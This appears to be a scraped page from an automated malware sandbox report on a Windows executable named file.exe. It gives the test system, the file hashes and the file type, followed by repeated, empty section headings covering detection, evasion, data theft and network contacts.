System description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Architecture:	WINDOWS
MD5:	6b2b5a158403acb7ba15c52a59282cab
SHA1:	dae583617b2057015ff1c7ada6d9bf6c0e262481
SHA256:	f7bbc837510990dd6831eb9ab92b7fe5d9238f105ea9690bdf5808dc0e5cfbbf
Filetype:	Win32 Executable (generic) a (10002005/4) 99.96%

Windows Analysis Report
file.exe

Overview

General Information

Detection

Signatures

Classification

Malware Threat Intel
Provided by

Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Screenshots

Behavior Graph

Network Map

Contacted Public IPs

Contacted URLs

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Malware Threat Intel Provided by

Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Screenshots

Behavior Graph

Network Map

Contacted Public IPs

Contacted URLs

Windows Analysis Report
file.exe

Malware Threat Intel
Provided by